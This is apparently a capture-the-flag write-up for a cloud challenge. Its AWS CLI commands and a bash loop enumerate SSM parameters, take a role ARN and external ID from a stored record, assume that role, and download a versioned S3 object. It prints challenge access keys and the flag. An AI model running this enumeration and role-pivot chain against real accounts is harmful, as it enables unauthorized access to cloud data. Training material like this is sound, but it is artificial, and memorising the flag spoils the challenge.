Author: golde
HTB{ferry_crossing_dock_seal_0cf9252c60a3422f0e1f800b2b35eb28}
Description
The coalition ferry office keeps its crossing schedule in the cloud — one live crossing at a time, everything else archived, voided, or still in draft. Somewhere in that parameter store sits the real crossing order and the credentials to reach it. Enumerate the ferry’s SSM parameters, find the one crossing that’s actually
AUTHORIZED, and ride its trust chain all the way to the manifest.
Flag: HTB{ferry_crossing_dock_seal_0cf9252c60a3422f0e1f800b2b35eb28}
TL;DR
We’re handed AWS credentials for a coalition-ferry-clerk IAM user against a custom S3/SSM-compatible endpoint. Direct sts assume-role to the obvious admin role fails, so instead we enumerate SSM Parameter Store under /ferry/crossing/ with describe-parameters, then pull every parameter’s value with get-parameter --with-decryption. Most entries turn out to be decoys (VOID, CLOSED, DRAFT crossings issued by a third-party-archive), but one — CROSSING-7A3F — is the real, AUTHORIZED crossing issued by the actual ferry office, and it points to a scanner IAM role plus an S3 object (bucket, key, and version ID) holding the manifest. Assuming that scanner role (with its required external ID) hands us temporary credentials, which we use to pull the exact manifest object version from S3 — and that file contains the flag.
Solution
1. Starting access
We’re given IAM credentials for an account called coalition-ferry-clerk, pointed at a challenge-hosted AWS-compatible endpoint:
export AWS_ENDPOINT_URL=http://<challenge-ip>:<aws-port>
export AWS_DEFAULT_REGION=us-east-1
export AWS_ACCESS_KEY_ID=AKIA8DTSIF6JAN9HU0SJ
export AWS_SECRET_ACCESS_KEY=n2pXl5UorcV2U5qqSB9oFjrRonPtWN3ctFEuQUIt
unset AWS_SESSION_TOKENThe name “clerk” plus an obviously-named admin role suggested the fast path was privilege escalation via sts assume-role:
aws sts assume-role \
--role-arn "arn:aws:iam::584729103648:role/coalition-ferry-admin" \
--role-session-name ctf-session \
--endpoint-url http://IP:port/ \
--region us-east-1This did not work — the clerk user has no trust relationship with that role. Instead of chasing that dead end, the next move was to see what the clerk could actually reach: SSM Parameter Store.
2. Enumerating the parameter store
First, discover what parameters exist under the ferry crossing namespace:
aws ssm describe-parameters \
--parameter-filters "Key=Name,Option=BeginsWith,Values=/ferry/crossing/"This returned a list of parameter names — one “live” pointer plus several individually-named crossing records. Rather than pull each one by hand, a small script fetches every value in one pass:
#!/bin/bash
ENDPOINT="http://154.57.164.80:30137/"
REGION="us-east-1"
PARAMS=(
"/ferry/crossing/live-crossing-id"
"/ferry/crossing/CROSSING-7A3F"
"/ferry/crossing/CROSSING-VOID-9B11"
"/ferry/crossing/CROSSING-CLOSED-5E22"
"/ferry/crossing/CROSSING-DRAFT-8D40"
"/ferry/crossing/CROSSING-VOID-3C21"
"/ferry/crossing/CROSSING-VOID-1A04"
"/ferry/crossing/CROSSING-VOID-2D77"
)
for param in "${PARAMS[@]}"; do
echo "=========================================="
echo "[*] Fetching: $param"
aws ssm get-parameter \
--name "$param" \
--with-decryption \
--endpoint-url "$ENDPOINT" \
--region "$REGION"
echo ""
done3. Spotting the real crossing among the decoys
live-crossing-id immediately confirms which crossing is active:
{
"Parameter": {
"Name": "/ferry/crossing/live-crossing-id",
"Value": "CROSSING-7A3F"
}
}Pulling the rest of the parameters showed a pattern: every VOID, CLOSED, and DRAFT crossing was issued by third-party-archive and either pointed at archived/decoy manifest keys or carried a placeholder manifest_version_id of all zeros — clearly bait to waste time or trigger a wrong get-object call. Only one record was AUTHORIZED and issued by the legitimate stormbound-coalition-ferry-office:
{
"Parameter": {
"Name": "/ferry/crossing/CROSSING-7A3F",
"Value": "{
\"crossing_id\": \"CROSSING-7A3F\",
\"status\": \"AUTHORIZED\",
\"issuer\": \"stormbound-coalition-ferry-office\",
\"scanner_role_arn\": \"arn:aws:iam::584729103648:role/ferry-crossing-scanner\",
\"scanner_external_id\": \"ferry-crossing-scanner-7a3f\",
\"manifest_bucket\": \"ferry-crossing-manifest\",
\"manifest_object_key\": \"manifests/morning-crossing-order.txt\",
\"manifest_version_id\": \"73859401-747f-4fc7-a03f-ed787e7390c6\",
\"record_type\": \"crossing_manifest\"
}"
}
}This single record gives everything needed for the next step: a role to assume (with its required external ID), and the exact bucket/key/version of the manifest it authorizes.
4. Assuming the scanner role
Unlike the earlier attempt against coalition-ferry-admin, this role is designed to be assumed by holders of the correct external ID — which we now have from the parameter value:
aws sts assume-role \
--role-arn "arn:aws:iam::584729103648:role/ferry-crossing-scanner" \
--role-session-name "scanner-session" \
--external-id "ferry-crossing-scanner-7a3f" \
--endpoint-url http://154.57.164.80:30137/ \
--region us-east-1This succeeds and returns temporary credentials:
{
"Credentials": {
"AccessKeyId": "ASIAH8XI4WFVZ8F6XHWA",
"SecretAccessKey": "tN0Xo1efNBymnjoihd9p0c0p9s4iNg0mlUzoNDRc",
"SessionToken": "y3AgYaeTLmvEZxAD225o0otLpThaGuFtpqolaY7ei...",
"Expiration": "2026-07-24T22:28:02.843900+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAAMBV9583YHDYA3CB:scanner-session",
"Arn": "arn:aws:sts::584729103648:assumed-role/ferry-crossing-scanner/scanner-session"
}
}5. Pulling the manifest
With the scanner role’s temporary credentials exported, fetch the exact object version referenced in the CROSSING-7A3F parameter (the version ID matters here — the bucket likely holds multiple versions/decoys at the same key):
aws s3api get-object \
--bucket ferry-crossing-manifest \
--key manifests/morning-crossing-order.txt \
--version-id 73859401-747f-4fc7-a03f-ed787e7390c6 \
morning-crossing-order.txt \
--endpoint-url http://154.57.164.80:30137/ \
--region us-east-1cat morning-crossing-order.txtHTB{ferry_crossing_dock_seal_0cf9252c60a3422f0e1f800b2b35eb28}
Takeaways
- Don’t chase the obviously-named privileged role (
coalition-ferry-admin) first — enumerate what the current identity can actually reach (describe-parameters/get-parameter) before trying escalation paths that may not be reachable at all. - Parameter Store can hold entire trust chains (role ARN + external ID + resource pointer) in a single value — treat every parameter as a potential pivot, not just a config value.
- Watch for decoy records: mismatched
issuerfields and placeholder IDs (all-zero version IDs) are a strong signal that a record is a red herring rather than the live path. - S3 object versioning matters: the correct manifest is pinned to a specific
version_id, so always use the version referenced by the authoritative record rather than assuming the latest object at that key.